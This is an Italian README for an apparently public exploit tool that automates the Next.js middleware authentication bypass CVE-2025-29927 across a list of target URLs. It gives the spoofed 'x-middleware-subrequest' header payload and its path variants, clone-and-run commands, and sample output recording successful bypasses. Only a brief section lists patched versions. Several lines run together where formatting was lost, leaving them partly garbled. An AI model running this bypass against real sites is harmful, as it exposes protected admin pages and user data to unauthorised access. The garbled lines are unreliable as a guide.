
CVE-2025-29927: Exploit del Middleware Next.js
Questo strumento dimostra e automatizza lo sfruttamento di CVE-2025-29927, una vulnerabilità in Next.js che consente a un attaccante di bypassare i controlli del middleware (come l'autenticazione) abusando dell'header interno x-middleware-subrequest.
Next.js utilizza internamente l'header x-middleware-subrequest per prevenire loop infiniti nelle richieste ricorsive. Tuttavia, in alcune versioni, questo header non è protetto contro la manipolazione esterna, consentendo a un attore malintenzionato di falsificarlo.
Impostando manualmente questo header, la logica del middleware responsabile dell'applicazione di autenticazione, reindirizzamenti, logging o filtri viene completamente saltata.
x-middleware-subrequest403 diventa 20015.2.314.2.2513.5.9next start con output: standalone)next export)Richiesta Normale:
GET /admin --> 403 Forbidden
Richiesta con Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Anche se il target verifica l'autenticazione tramite middleware, questo lo bypassa completamente.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Crea un file chiamato urls.txt con un URL per riga:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Invia richieste a ciascun URL con e senza l'header dell'exploit
Utilizza più varianti di payload:
middlewarepages/_middlewaresrc/middlewareRegistra:
middleware_exploited.txt: per bypass reali (403 → 200)middleware_response_diff.txt: quando il contenuto della risposta differisceAggiorna immediatamente Next.js a una versione sicura:
15.2.3+14.2.25+13.5.9+Inoltre:
getServerSideProps, JWT, sessioni)[✔] Bypass riuscito: https://target.com/admin (payload: middleware)
[•] Differenza nella risposta rilevata: https://target.com/login (payload: src/middleware)
[✔] Trovati 3 bypass > middleware_exploited.txt
[•] Trovate 5 differenze nelle risposte > middleware_response_diff.txt